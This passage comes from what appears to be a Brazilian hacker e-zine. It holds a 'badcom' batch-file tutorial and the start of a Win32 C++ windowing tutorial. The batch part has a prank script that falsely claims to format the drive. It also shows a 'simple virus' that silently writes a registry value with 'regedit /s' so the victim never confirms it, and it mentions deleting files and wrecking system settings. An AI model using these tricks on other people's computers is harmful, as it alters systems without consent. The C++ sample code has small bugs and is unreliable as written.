Vamos começar pelo qual programa que você irá precisar, você precisará de:
Qualquer editor de texto; meu preferido é o "Bloco de notas" :), pronto! Só
disso que você precisará.
Bem, vamos começar fazendo um simples programa no melhor estilo do "Show do
Milhão"(huahuahua) :D. Abra o seu editor de texto normalmente e faça o seguinte:
----------------------------xxx CuTe HeRe xxx-----------------------------------
@echo off
cls
echo "Bem-Vindo ao Show do Badcom!"
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupidy Program Created by IP_FIX
echo.
echo Escolha uma alternativa:
echo.
echo [1] Começar logo a jogar essa ****.
echo [2] Quero sair. Nao tenho capacidade mental para jogar esse jogo ridiculo.
echo.
choice/c12
if errorlevel 2 goto SAIR
if errorlevel 1 goto JOGAR
:SAIR
echo.
echo.
echo Que foi? Vai fugir agora? Voce nao eh o hackao bonzao que consegue invadir sites por "Pasta da Web" e se sente o maximo com isso? Tah com medo de que? Ei, volta aqui!!! Nao corre nao, to brincando...!!! Bah, correu covarde, entao vou aproveitar o momento para formatar o computador... Ahhh, voce voltou... Voce quer que eu formate seu pc??? Sim ou Nao?
echo.
choice/csn
if errorlevel n goto FORMATAR
if errorlevel s goto FORMATAR
:FORMATAR
echo.
echo Nao me interessa sua decisao, eu vou formatar seu HD pronto e acabou! Adeus! Huahauhauhauhauhauhuhauhauahuahuahauhauhauhauha!!! Se vira agora que voce nao nasceu umbigado comigo!!!
echo.
echo Formatando...
echo.
pause
dir
dir
dir
dir
dir
dir
dir
cls
echo Formatacao concluida.
echo.
echo Quase morre do coracao hein hackao???
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupidy Program Created by IP_FIX
echo ;)
exit
:JOGAR
echo.
echo Pergunta valendo US$0,00.
echo.
echo Qual a cor do cavalo branco de Napoleao???
echo.
echo [1] Azul
echo [2] Verde
echo [3] Cinza
echo [4] Rosa
echo.
choice/c1234
if errorlevel 4 goto FIM
if errorlevel 3 goto FIM
if errorlevel 2 goto FIM
if errorlevel 1 goto FIM
:FIM
echo.
echo Errado!!!
echo.
echo Nao acredito que voce errou isso... Voce nao merece mais jogar esse super jogo com mais de 24000(hmmm) perguntas ineditas nunca antes vistas nem mesmo pelo criador desse stupid program!!!
echo.
echo Por causa de sua "falta de inteligencia" seu computador sera formatado! Adeus!
echo.
echo Formatando...
pause
dir
dir
dir
dir
dir
dir
dir
cls
echo Formatacao concluida.
echo.
echo Da proxima vez sera de verdade. =)
echo.
echo Visite: http:\\www.infoshack.cjb.net e http:\\cdm.frontthescene.com.br
echo Fale com a gente: irc.brasnet.org /join #motd e /join #mercenaries
echo.
echo Stupid Program Created by IP_FIX
echo ;)
exit
-------------------------------xxx CuTe HeRe xxx-------------------------------
Agora uma breve explicação do que cada linha de comando faz:
@echo off //Isso faz com que não apareça nada na tela;
echo //Esse comando faz com que seja imprimido caracteres na tela;
echo. //Este faz pular uma linha;
choice/c12 //Este comando te dá a opção de escolha, sendo que nesse caso você só
poderá escolher 1 e 2;
:SAIR //Essa seria a "Função" do Badcom, perceba que sempre ela deve ser
acompanhada pelos dois pontos ":";
dir, cls, pause //Sem comentários...;
Bem galera, esse "Programa Estúpido" que fiz foi só pra dá uma introdução (hmmm)
de um badcom bastante simples e básico. Lembram que falei que se mexesse com o
"Registro do Windows" (Regedit) sem saber o que está fazendo, poderia sair uma
merda que só vendo pra crer? Bom, que tal fazer um simples vírus que faz isso?
Essa última parte desse tutorial ensinará o básico de como mexer com o registro.
Mas torno a repetir: Cuidado na hora de testar seu .bat, ele pode se virar
contra você e você não terá chance de reverter a situação(às vezes).
Olhe aqui abaixo outro exemplo banal:
------------------------------xxx CuTe HeRe xxx--------------------------------
REGEDIT4
[HKEY_CURRENT_USER\Control Panel\International]
"sTimeFormat"="IP_FIX"
------------------------------xxx CuTe HeRe xxx--------------------------------
Bom, pra quem prestou atenção no que disse anteriormente (duvido muito...) sabe
o que isso faz. Só tem um pequeno problema nisso tudo. Se você colocar isso
direto no seu badcom, você não conseguirá adiconar essas informações ao
registro.
Para conseguir faça o seguinte:
a) Abra o seu editor de texto normalmente;
b) Cole isso tudo lá;
c) E salve como a extensão ".reg";
d) Execute e de OK, agora basta reiniciar o sistema.
Tá, mas agora você deve estar se perguntando: " - Como poderei usar isso no meu
badcom que é ".bat" e adicionar essas informações sem a pessoa ter que
confirmar???".
Isso é simples oras! Basta você colocar a linha de comando "regedit /s
Hora_Certa.reg" em qualquer local do seu badcom e pronto!!! Você adicionou as
informações no registro com sucesso sem você mesmo ter percebido!!! :D
DICAS: Com badcom dá pra fazer coisas fantásticas, desde joguinhos de perguntas
e respostas (hauhauhauha) até uma desconfiguração total do seu sistema e
registro e até exclusão de qualquer tipos de arquivos(lembram do deltree???). Vá
no localizar e digite "*.bat", vai aparecer vários, clique com o botão direito e
clique em editar. Tá vendo? Você pode ter certeza da real intenção desse bath e
pode ver várias outras linhas de comandos, foi assim que aprendi badcom, sozinho
na raça :). Dá pra fazer o mesmo com "*.reg".
ATENÇÃO: Lembre-se: Combinar o badcom com o registro é uma combinação perigosa e
fatal. Por isso, não esqueça de fazer sempre um backup do registro, para isso vá
no executar e digite "scanreg". Assim, caso você faça merda, tem como restaurar
numa boa com o comando "scanreg/restore"(tem que ser executado no MS-DOS, ou
melhor, no modo de inicialização).
Pronto galera, acabou! Já pode passar pro assunto seguinte! A tortura já se foi!
Desculpe por não ter escrito algo melhor. Na verdade eu ia postar sobre sockets
em Perl, mas não consegui terminar meu portscan que eu iria usar como exemplo.
No momento também estudo C/C++ bastante, mas não tinha nada sobre o que eu
poderia escrever. Então, resolvi escrever um pouco sobre badcom porquê essa foi
a primeira linguagem que aprendi e que por causa dela é que estou aqui hoje
(lembra _LiNe_SkOFF_?). Vamos lá galera, juízo na cabeça de vocês, não se
aprende nada executando exploits por aí sem saber como funciona e sem saber se é
seguro, ou pior ainda, sem saber se proteger pelo menos. Programação não é só
lazer ou cultura, é PROFISSÃO! É o "ganha-pão" de muita gente passar a vida
programando, então larguem esses exploits e vão aprender a fazer os seus!!!
!!!THAT´S ALL FOLKS!!!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 06 ]=-=[ Programando API em C++ para Windows ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Essa matéria é em homenagem à meu chegado, Inferninh0. É mais como desculpa pela
minha primeira matéria que saiu um lixo, espero que essa compense =]
C++ API
Não vou dar noções básicas sobre C/C++.
A interface API (Application Program Interface) corresponde a um conjunto de
system calls oferecidas por um determinado sistema operacional. Neste caso,
Windows. A biblioteca API de Windows é extensa, contendo as mais variadas
funções. Não pretendo citar todas, mas sim as que eu considerar mais
importantes, mesmo assim, pretendo fazer um trabalho extenso. Para não tornar
essa matéria um tanto monótona, vou restringi-la à explicação à nível
superficial. Não entrarei em detalhes como estrutura das funções, pois isso
somente consumirá mais e mais bytes.
Um dos maiores atrativos do Windows é seu sistema de janelas, que permite ao
usuário navegar entre elas e coloca-las à disposição mais conveniente.
Programadores de VB sabem o quanto é fácil criar uma janela, mas em C++, isso
pode se tornar um processo que requer alguns procedimentos iniciais.
Primeiramente vamos analisar a estrutura mais básica de um programa Win32 em C++:
#include
int _stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine, int nCmdShow)
{
return 0;
}
Para manter compatibilidade, a função é declarada como _stdcall, porém em alguns
compiladores pode estar definida como WINAPI ou outras macros. A função WinMain
tem como objetivo definir o inicio do programa. É relativamente semelhante à
função main, só que é executada em contexto Win32 hehe. Os parâmetros são bem
simples:
Antes, o int de retorno: Da mesma maneira que a função main(), quando a função
WinMain() retornar um valor, esta finalizará o programa.
HINSTANCE: a HINSTANCE representa um valor de 32 bit´s que identifica um objeto
no sistema. O sistema operacional passa este valor para o aplicativo para
identificar o aplicativo enquanto ele está sendo executado e o libera quando o
aplicativo é finalizado.
A primeira HINSTANCE (hInstance) refere-se ao valor de identificação passado ao
aplicativo. A segunda (hPrevInstance) refere-se á um valor curioso, é nela que
vc recebe o valor da HINSTANCE de outra instância de seu aplicativo, dessa
maneira você pode monitorar se seu aplicativo está sendo executado mais de uma
vez e bloquear as instanciações de seu programa, caso o programa esteja sendo
executado primariamente, esse valor passa a ser NULL.
LPSTR é uma implementação de char*. nCmdLine corresponde á linha de comando
passada ao seu aplicativo, ou, aos parâmetros á ele passados. Como um simples
exemplo posso citar o Internet Explorer. A linha de comando á ele passada
corresponde à página que será exibida.
nCmdShow corresponde a um valor identificando o estado inicial da janela, é
recomendável que esse valor seja passado como 2º parâmetro de ShowWindow().
Aí está o ponto de entrada para qualquer programa Win32. Como esse tutorial tem
como foco a criação de um programa Win32, iremos direto ao ponto: Como criar uma
simples janela?
A API do Windows fornece uma estrutura que descreve os comportamentos padrões
para qualquer janela. Um tópico importante, é que num ambiente de programação em
C++ todas as classes e estruturas são consideradas como objetos. Essa visão se
traduz no Windows quando falamos sobre janelas e controles.
Tanto uma janela quanto um controle são objetos primários na construção de um
aplicativo Win32, e, pela analise do Windows, são iguais.
Uma janela corresponde à uma área (geralmente retangular) num espaço virtual
conhecido como desktop, não seria correto afirmar que um controle não passa de
uma janela dentro de um espaço conhecido como outra janela qualquer?
É assim que você deve interpretar janelas e controles, não como estruturas que
diferem entre si, mas estruturas semelhantes entre si.
A API do Windows fornece uma estrutura básica para qualquer janela, que,
geralmente em controles já é predefinida. Essa estrutura é conhecida como
WNDCLASS.
Como essa estrutura é pertencente à API do Win95, ficou atrasada para as
evoluções do software, assim sendo, foi criada uma estrutura equivalente, que
possui mais opções, a WNDCLASSEX.
Ao longo do tutorial, você verá muitas funções e estruturas que foram recriadas
com o sufixo EX, porém todas as funções e estruturas mais antigas prevalecem
ainda hoje. Por razões de compatibilidade vou citar mais as funções EX
(EXtended) do que as mais antigas.
A estrutura WNDCLASSEX possui os seguintes membros:
cbClsExtra – Corresponde à um valor em bytes que devem ser alocados depois da
WNDCLASSEX na memória, o Windows inicializa este valor como zero.
cbSize – Um unsigned int que corresponde ao tamanho da estrutura, geralmente um
sizeof(WNDCLASSEX) é suficiente ;]
cbWndExtra – Um valor que corresponde ao número de bytes que devem ser alocados
após a instância da janela, o Windows inicializa esse valor como zero, porém é
recomendável que este valor seja alterado para DLGWINDOWEXTRA caso você deseje
utilizar caixas de diálogos criadas com WNDCLASSEX.
hbrBackground – Um HBRUSH que corresponde ao fundo inicial da janela, geralmente
esse valor é igualado à um dos valores predefinidos do sistema, como
WINDOW_COLOR.
hCursor – Corresponde à um HCURSOR que representa o cursor que será exibido
dentro da janela.
hIcon – Corresponde ao Ícone grande a ser exibido representando a janela, como
no menu de alt+tab.
hIconSm – Corresponde ao ícone pequeno a ser exibido na barra de título da
janela.
hInstance – Corresponde à instância que identifica um objeto no sistema, esse
valor é passado ao programa para que ele não possa acessar objetos externos à
seu processo indevidamente. Deve-se atribuir à esse valor a hInstance que foi
passada à função WinMain.
lpfnWndProc – Corresponde à uma função que recebe as mensagens enviadas à
janela, em termos de leigo, corresponde à função responsável por gerenciar os
eventos que ocorrem dentro da janela.
lpszClassName – Corresponde à uma string que identifica a classe.
lpszMenuName – Corresponde à uma string que aponta para o nome de menu associado
à esta janela. Este tipo de menu é criado no arquivo de resources do aplicativo.
Caso o valor seja identificado como um inteiro no arquivo de resource, deve-se
utilizar a macro MAKEINTRESOURCE.
style – Corresponde à um comportamento padrão da janela.
Qualquer um destes membros pode ser validado como NULL, porém alguns são
essenciais na construção de uma janela. Agora vamos analisar algumas
peculiaridades de alguns deles.
A WNDCLASS não apresenta os seguintes valores: cbSize e hIconSm.
hbrBackground
Esta propriedade refere-se à um HBRUSH que identifica o tipo de fundo que uma
janela receberá. É recomendável que se utilize somente cores. Há valores padrões
do sistema que podem ser utilizados:
COLOR_ACTIVEBORDER
COLOR_ACTIVECAPTION
COLOR_APPWORKSPACE
COLOR_BACKGROUND
COLOR_BTNFACE
COLOR_BTNSHADOW
COLOR_BTNTEXT
COLOR_CAPTIONTEXT
COLOR_GRAYTEXT
COLOR_HIGHLIGHT
COLOR_HIGHLIGHTTEXT
COLOR_INACTIVEBORDER
COLOR_INACTIVECAPTION
COLOR_MENU
COLOR_MENUTEXT
COLOR_SCROLLBAR
COLOR_WINDOW
COLOR_WINDOWFRAME
COLOR_WINDOWTEXT
hCursor
Assim como hIcon e hIconSm, este valor pode ser criado no arquivo de resource,
porém há tipos predefinidos de cursors que podem ser carregados utilizando-se a
função LoadCursor, passando o primeiro valor (hInstance) como NULL e o segundo
como o valor a ser utilizado:
IDC_APPSTARTING
IDC_ARROW
IDC_CROSS
IDC_IBEAM
IDC_ICON
IDC_NO
IDC_SIZE
IDC_SIZEALL
IDC_SIZENESW
IDC_SIZENS
IDC_SIZENWSE
IDC_SIZEWE
IDC_UPARROW
IDC_WAIT
hIcon e hIconSm
Podem ser carregados valores do sistema utilizando-se a função LoadCursor,
passando o primeiro valor como NULL e o segundo como o valor a ser utilizado:
IDI_APPLICATION
IDI_ASTERISK
IDI_EXCLAMATION
IDI_HAND
IDI_QUESTION
IDI_WINLOGO
lpfnWndProc
O Window Procedure é uma função responsável por gerenciar as mensagens recebidas
em uma janela. A sintaxe do Window Procedure é:
LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
O valor de retorno corresponde a um long.
HWND é um unsigned int que corresponde ao valor do window handle, ou seja, um
valor utilizado para a manipulação da janela.
Msg corresponde ao valor numérico da mensagem recebida pela janela, wParam
corresponde à um DWORD com valores passados à Msg, o mesmo vale para lParam.
style
Define estilos padrões que alteram a performance da janela:
CS_BYTEALIGNCLIENT e CS_BYTEALIGNWINDOW
Alinham a janela em um determinado contexto na posição horizontal para melhorar
a performance em operações gráficas. Estes estilos afetam a posição horizontal e
largura da janela. Não é muito utilizado
CS_CLASSDC
Aloca um DC para ser utilizado por todas as janelas da classe. É utilizado para
diminuir o tempo de espera em operações gráficas. Este estilo permite que
somente uma janela manipule operações gráficas por vez
CS_DBLCLKS
Permite que a janela receba mensagens sobre cliques duplos (DblClick)
CS_GLOBALCLASS
Permite que uma janela seja criada sem a necessidade que a hInstance da classe
seja a mesma da janela. É utilizada em controles que são inicializados em DLLs
CS_HREDRAW e CS_VREDRAW
Redesenha toda a janela caso esta seja modificada horizontalmente ou
verticalmente respectivamente. Tanto vale para movimentações como para reajustes
de tamanho
CS_NOCLOSE
Desabilita todas as opções naturais para se fechar uma janela
CS_OWNDC
Aloca um DC único para cada janela da classe
CS_PARENTDC
Permite que janelas Child possam realizar operações gráficas em suas janelas
pai. Essa opção aumenta a performance de operações gráficas, já que uma janela
dessa classe recebe um cachê de memória maior para alocar seu DC
CS_SAVEBITS
Caso uma janela seja parcialmente obscurecida por outra janela, essa opção salva
a parte obscurecida como um bitmap na memória para aumentar a rapidez no
processo de redesenhar a janela, porém um certo tempo é perdido para alocar o
bitmap. Essa opção não é recomendada
DC´s serão explicados mais tarde.
Operações gráficas referem-se ao ato de desenhar uma janela ou controle ou
outras funções GDI.
Um simples exemplo da construção de uma WNDCLASSEX:
WNDCLASSEX wnd;
wnd.cbClsExtra = 0;
wnd.cbSize = sizeof(WNDCLASSEX);
wnd.cbWndExtra = 0;
wnd.hbrBackground = (HBRUSH)(COLOR_WINDOW);
wnd.hCursor = LoadCursor(NULL,IDC_ARROW);
wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
wnd.hInstance = hInstance;
wnd.lpfnWndProc = (WNDPROC) WProc;
wnd.lpszClassName = "MainWnd";
wnd.lpszMenuName = NULL;
wnd.style = CS_OWNDC;
Programadores mais “avançados” podem estudar a sintaxe da WNDCLASSEX e montá-la
em somente uma linha de código ;]
Bom, após a criação da WNDCLASSEX, deve-se registrá-la para que possa ser
utilizada pelos threads do processo em execução. Isso se faz com o auxílio da
função RegisterClassEx.
RegisterClassEx(&wnd);
O único parâmetro é o endereço da WNDCLASSEX a ser registrada. Logicamente há
seu equivalente para a WNDCLASS:
RegisterClass(&WNDCLASS);
Estas funções retornam um valor (ATOM) que identifica unicamente a classe no
sistema. Caso haja erro, o valor de retorno é 0.
Bom, e agora? Agora vamos a parte principal, a tão esperada função que realmente
cria a janela, a CreateWindow(Ex).
A CreateWindowEX() possui 12 parâmetros, enquanto que a CreateWindow() possui
11, sendo assim elas só diferem no parâmetro dwExStyle, que, logicamente,
pertence à CreateWindowEx e não à CreateWindow.
Vamos dar uma olhada nos seus parâmetros:
dwExStyle – Esse valor é uma DWORD (int de 32 bit´s para os mais leigos) que
relata à função alguns comportamentos extendidos referentes à janela. Veremos
seus possíveis valores mais à frente.
lpClassName – Esse valor refere-se ao nome da WNDCLASS registrada, ou seja deve
ser o mesmo que lpszClassName da classe registrada.
lpWindowName – Um valor que na maioria das vezes serve como string primária da
janela.
dwtyle – Comportamentos padrões das janelas.
x e y – int´s que definem as posições horizontal e vertical (respectivamente) da
janela (Left e Top).
nWidth e nHeight – int´s que definem a largura e a altura da janela
(respectivamente) (Width e Height).
hWndParent – Corresponde à um HWND (calma aí) que identifica a janela pai da
janela a ser criada. É recomendável que este valor não seja NULL, assim sendo,
para janelas comuns, deve-se utilizar a função GetDesktopWindow(void); como
parâmetro para este valor.
hMenu – Identifica um Menu criado em API pertencente à esta janela.
HInstance – Use sua imaginação ;]
lpParam – Há muito esse parâmetro deixou de ser utilizado. Seu valor consiste em
uma estrutura que contêm todos os valores acima citados e estes da função são
substituídos pelos desta estrutura. Perda de memória, não? ;/
O valor de retorno corresponde à um HWND. O HWND, ou Window Handle, é um valor
de 32 bit´s que identifica uma janela para que esta possa ser manipulada por
diversas funções. Caso a função falhe, o retorno é NULL. Em API, toda função,
quando retorna um erro, pode ter esse valor de erro re-adquirido com a função
GetLastError(void), que retorna uma DWORD (int) com o valor de retorno da função
que retornou o erro.
Os possíveis valores para dwExStyle são:
WS_EX_ACCEPTFILES
Esta janela aceita arquivos arrastados até ela
WS_EX_CLIENTEDGE
Cria uma borda interna à área interna da janela
WS_EX_CONTEXTHELP
Inclui o botão de interrogação na barra de título da janela
WS_EX_CONTROLPARENT
Permite que seja possível navegar entre as janelas child desta janela
utilizando-se a tecla TAB
WS_EX_DLGMODALFRAME
Cria bordas em janelas com o valor WS_POPUP em dwStyle
WS_EX_LEFT e WS_EX_RIGHT
Cria uma janela que possui propriedades de texto alinhado à esquerda (padrão) ou
à direita, respectivamente
WS_EX_LEFTSCROLLBAR e WS_EX_RIGHTSCROLLBAR
Se a barra de rolagem estiver visível na janela, essas opções definem seu
alinhamento, à esquerda ou à direita (padrão) respectivamente
WS_EX_LTRREADING e WS_EX_RTLREADING
O texto da janela é apresentado da ordem especificada, esquerda-para-direita
(padrão) ou direita-para-esquerda. O segundo valor só funciona em línguas que
possuem suporte para este tipo de escrita, como o Hebraico
WS_EX_MDICHILD
Cria uma janela child
WS_EX_NOPARENTNOTIFY
Especifica que uma janela child não irá notificar sua janela-pai sobre sua
criação ou destruição
WS_EX_OVERLAPPEDWINDOW
Combina WS_EX_CLIENTEDGE e WS_EX_WINDOWEDGE
WS_EX_PALETTEWINDOW
Combina WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW e WS_EX_TOPMOST
WS_EX_STATICEDGE
Cria uma janela com uma borda (interna) em sua área externa, geralmente
utilizados em controles estáticos
WS_EX_TOOLWINDOW
Cria uma janela geralmente utilizada como janela de ferramentas, com uma borda e
fonte de título menores que o original. Esse tipo de janela não aparece na barra
de tarefas ou no menu de ALT+TAB
WS_EX_TOPMOST
Especifica que a janela deve sempre sobrepor as janelas que não possuem este
valor
WS_EX_TRANSPARENT
Cria uma janela 100% transparente (não translúcida ;|). Este tipo de janela é
comumente utilizado em operações de realinhamento de janela. Este tipo de janela
não é, geralmente, utilizado por aplicativos
WS_EX_WINDOWEDGE
Cria uma janela com uma borda (externa) em sua área externa
Para x,y, nWidth e nHeight, o sistema provê valores padrões que podem ser
utilizados igualando estes valores à CW_USEDEFAULT.
Os possíveis valores de dwStyle:
WS_BORDER
Cria uma janela com uma borda fina
WS_CAPTION
Cria uma janela com uma barra de título e WS_BORDER
WS_CHILD e WS_CHILDWINDOW
Cria uma janela child. Este valor não pode ser mesclado com WS_POPUP
WS_CLIPCHILDREN
Exclui a área ocupada pelas janelas child quando uma janela receber uma mensagem
WM_PAINT (operação gráfica). Esse valor deve ser utilizado em janelas pai
WS_CLIPSIBLINGS
Esse valor evita alguns problemas gráficos com janelas child. Você mesmo poderá
fazer um teste utilizandp 2 janelas child, uma com este valor e outra sem,
coloque uma sobre a outra e mude-as de tamanho e posição ;]
WS_DISABLED
Cria uma janela desabilitada. Esse tipo de janela não recebe entrada do usuário
WS_DLGFRAME
Cria uma borda que é comumente utilizada em caixas de diálogo
WS_GROUP
Especifica o primeiro controle em um grupo de controles
WS_HSCROLL e WS_VSCROLL
Cria uma janela que possui uma barra de rolagem horizontal e/ou vertical
(respectivamente)
WS_ICONIC e WS_MINIMIZE
Cria uma janela que está inicialmente minimizada
WS_MAXIMIZE
Cria uma janela que está inicialmente maximizada
WS_MAXIMIZEBOX e WS_MINIMIZEBOX
Cria uma janela que possui um botão de maximizar e/ou minimizar (respectivamente)
WS_OVERLAPPED e WS_TILED
Cria uma janela que possui uma borda e uma barra de titulo
WS_OVERLAPPEDWINDOW e WS_TILEDWINDOW
Cria uma janela num estilo mais comum mesclando WS_OVERLAPPED, WS_CAPTION,
WS_SYSMENU, WS_THICKFRAME, WS_MINIMIZEBOX e WS_MAXIMIZEBOX
WS_POPUP
Cria uma janela popup, sem bordas ou barra de titulo
WS_POPUPWINDOW
Mescla WS_BORDER, WS_POPUP e WS_SYSMENU
WS_SIZEBOX e WS_THICKFRAME
Cria uma janela que possui uma barra de reajuste de tamanho
WS_SYSMENU
Cria uma janela com um menu de janela comum. O valor WS_CAPTION é recomendado
WS_TABSTOP
Especifica um controle que pode receber o foco quando o usuário pressiona a
tecla TAB
WS_VISIBLE
Cria uma janela que esta inicialmente visível
Exemplo =D:
HWND MainWnd = CreateWindowEx(WS_EX_WINDOWEDGE,"MainWnd","Janela de exemplo",
WS_OVERLAPPEDWINDOW,120,150, CW_USEDEFAULT,450,GetDesktopWindow(),NULL,hInstance,NULL);
Uma simples verificação:
If(!MainWnd){PostQuitMessage(0);}
A função PostQuitMessage(int) finaliza o programa terminando o seu Message Loop
que será visto adiante.
Após a criação da janela, se esta não houver sido criada com WS_SHOW, é
necessário mostrá-la. Para isso utiliza-se ShowWindow(HWND, int).
Exemplo:
ShowWindow(MainWnd,SW_SHOWNORMAL);
Os valores do 2º parâmetro são:
SW_HIDE - Esconde a janela e passa o foco para a próxima janela
SW_MAXIMIZE - Maximiza a janela e recebe o foco
SW_MINIMIZE – Minimiza a janela e recebe o foco
SW_RESTORE - Restaura a janela a seu status padrão e recebe o foco
SW_SHOW – Mostra a janela e recebe o foco
SW_SHOWMAXIMIZED, SW_SHOWMINIMIZED – Mostra a janela e a maximiza ou minimiza
(respectivamente)
SW_SHOWMINNOACTIVE – Minimiza a janela e não recebe foco
SW_SHOWNA – Mostra a janela em seu estado atual, não recebe o foco
SW_SHOWNOACTIVE – Mostra a janela em sua posição e tamanho recentes, não recebe
o foco
SW_SHOWNORMAL – Mostra a janela, faz o mesmo que SW_RESTORE e recebe o foco
nCmdShow – Isso mesmo, este é o valor passado ao aplicativo por WinMain, que
pode ser utilizado como valor padrão para o inicio das janelas do aplicativo.
O valor de retorno é um bool. Caso a janela estivesse anteriormente escondida, o
valor de retorno é false (0), caso contrário é true (1).
É comum utilizar também UpdateWindow(HWND); para redesenhar a janela após
mostra-la:
UpdateWindow(MainWnd);
Caso a função falhe, o valor de retorno (bool) é false.
A partir daqui, caso você deseje que função subseqüentes sejam realizadas, pode
incluí-las no código.
Após tudo isso você pensa que acabamos com a WinMain???
Lembra-se que quando a função retorna um valor ou chega ao seu fim o programa
termina? Então, como os programas Win32 rodam por tempo indefinido?
Simples, com a utilização de um pequeno artifício chamado Message Loop.
O Message Loop, como seu nome sugere, consiste em um loop no qual uma mensagem é
analisada e enviada à janela. O loop consiste em 3 funções simples:
GetMessage(&MSG,HWND,unsigned int, unsigned int);
TranslateMessage(&MSG);
DispatchMessage(&MSG)
O MSG corresponde à um valor que identifica uma mensagem de sistema.
Sintáxe comum de um message loop:
MSG msg;
while ( GetMessage(&msg,NULL,0,0) )
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
Um sistema de mensagens é um artifício do sistema operacional para coordenar a
comunicação entre processos e não será abordado aqui.
A descrição do loop é simples:
while ( GetMessage(&msg,NULL,0,0) )
Esse linha simplesmente cria um loop no qual a função GetMessage pega a primeira
mensagem na fila de mensagens do thread atual. O fato de que as mensagens
correspondem ao thread atual e não à uma janela especifica provêm de que o
segundo parâmetro é neutro, e assim deve permanecer, pois, caso uma janela seja
descrita, com o fechamento de tal janela o aplicativo todo seria finalizado de
maneira indesejável.
O valor de retorno (bool), é true em casos normais, é false quando é processada
uma mensagem WM_QUIT (Assim como a enviada por PostQuitMessage()) e –1 quando a
função falha.
Caso você feche a janela descrita em HWND, a função retornaria –1 para o while
gerando, assim, um erro fatal ao aplicativo. Por estas razões, no message loop,
HWND deve sempre ser NULL.
O 3º parâmetro indica a primeira mensagem na fila e o 2º, a última. Estes
valores devem ser 0 para que as mensagens sejam processadas assim que chegarem à
fila.
TranslateMessage(&msg);
Essa função traduz mensagens que apresentam códigos virtuais para código ASCII.
Tais mensagens são geralmente enviadas somente pelo teclado.
DispatchMessage(&msg);
Essa função envia a mensagem para a WindowProc responsável pela janela que
recebeu a mensagem.
Após o message loop, pode-se incluir normalmente o return ;]
return 0;
Aí está uma simples WinMain. Agora, vamos à WindowProc, que analisará as
mensagens enviadas para a janela. Como já vimos, a sintaxe do Window Procedure
é:
LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
E o valor de retorno corresponde a um long.
O primeiro parâmetro da função corresponde ao HWND da janela responsável por
receber a mensagem. O segundo, à mensagem em si, o terceiro e o quarto à demais
parâmetros da mensagem.
O método mais comum de se trabalhar com o WinProc é dando um switch e
verificando as mensagens enviadas:
LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch(msg) {
case WM_DESTROY:{
PostQuitMessage(1);
}
case WM_CREATE:{
FazAlgumaCoisa();
}
}
return DefWindowProc(hWnd,msg,wParam,lParam);
}
As mensagens aí enviadas correspondem, respectivamente, à quando a janela é
finalizada e criada.
DefWindowProc corresponde à uma função que recepta as mensagens que não são
processadas pela WinProc. Os parâmetros são os mesmos da WinProc. Essa função
garante que todas as mensagens sejam receptadas de maneira correta.
return 0; geralmente funciona também ;]
As mensagens mais comuns são citadas a seguir com seus respectivos eventos:
WM_ACTIVATE
OnActivate, OnGetFocus, OnEnter
WM_ACTIVATEAPP, WM_KILLFOCUS
OnLostFocus, OnExit, OnDeactivate
WM_CLOSE
OnClose
WM_COPY
OnCopy
WM_CREATE
OnCreate, OnLoad
WM_CUT
OnCut
WM_DESTROY
OnDestroy
WM_ENABLE
OnEnable
WM_HELP
OnHelp
WM_KEYDOWN
OnKeyDown
WM_KEYUP
OnKeyUp
WM_KILLFOCUS
OnLostFocus, OnExit, OnDeactivate
WM_LBUTTONDNLCLK
OnDblClick (Botão esquerdo)
WM_LBUTTONDOWN
OnMouseDown (Botão esquerdo)
WM_LBUTTONUP
OnMouseUp (Botão esquerdo)
WM_MBUTTONDBLCLK
OnDblClick (Botão do meio)
WM_MBUTTONDOWN
OnMouseDown (Botão do meio)
WM_MBUTTONUP
OnMouseUp (Botão do meio)
WM_MOUSEMOVE
OnMouseMove
WM_MOUSEWHEEL
OnMouseWheel
WM_MOVE
OnMoved
WM_MOVING
OnMove
WM_PAINT
OnPaint, OnRepaint
WM_PASTE
OnPaste
WM_QUIT
OnTerminate
WM_RBUTTONDNLCLK
OnDblClick (Botão direito)
WM_RBUTTONDOWN
OnMouseDown (Botão direito)
WM_RBUTTONUP
OnMouseUp (Botão direito)
WM_SETFOCUS
OnActivate, OnGetFocus, OnEnter
WM_SIZE
OnResized
WM_SIZING
OnResizing, OnResize
WM_TIMER
OnTimer
WM_UNDO
OnUndo
A partir daí você já está apto a monitorar suas próprias mensagens, mas, por
enquanto, vamos montar um simples programa que não faça nada menos do que aquilo
que aprendemos até agora, exceto o uso da função API SetWindowText(HWND,char *)
que modifica a string da barra de título da janela (Caption):
/*Programa simples de exemplo*/
#include
#pragma hdrstop //diretiva de pré-processador
LRESULT CALLBACK WinProc(HWND,UINT,WPARAM,LPARAM);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASSEX wnd;
wnd.cbClsExtra = 0;
wnd.cbSize = sizeof(WNDCLASSEX);
wnd.cbWndExtra = 0;
wnd.hbrBackground = (HBRUSH) COLOR_WINDOW;
wnd.hCursor = LoadCursor(NULL,IDC_ARROW);
wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
wnd.hInstance = hInstance;
wnd.lpfnWndProc = (WNDPROC) WinProc;
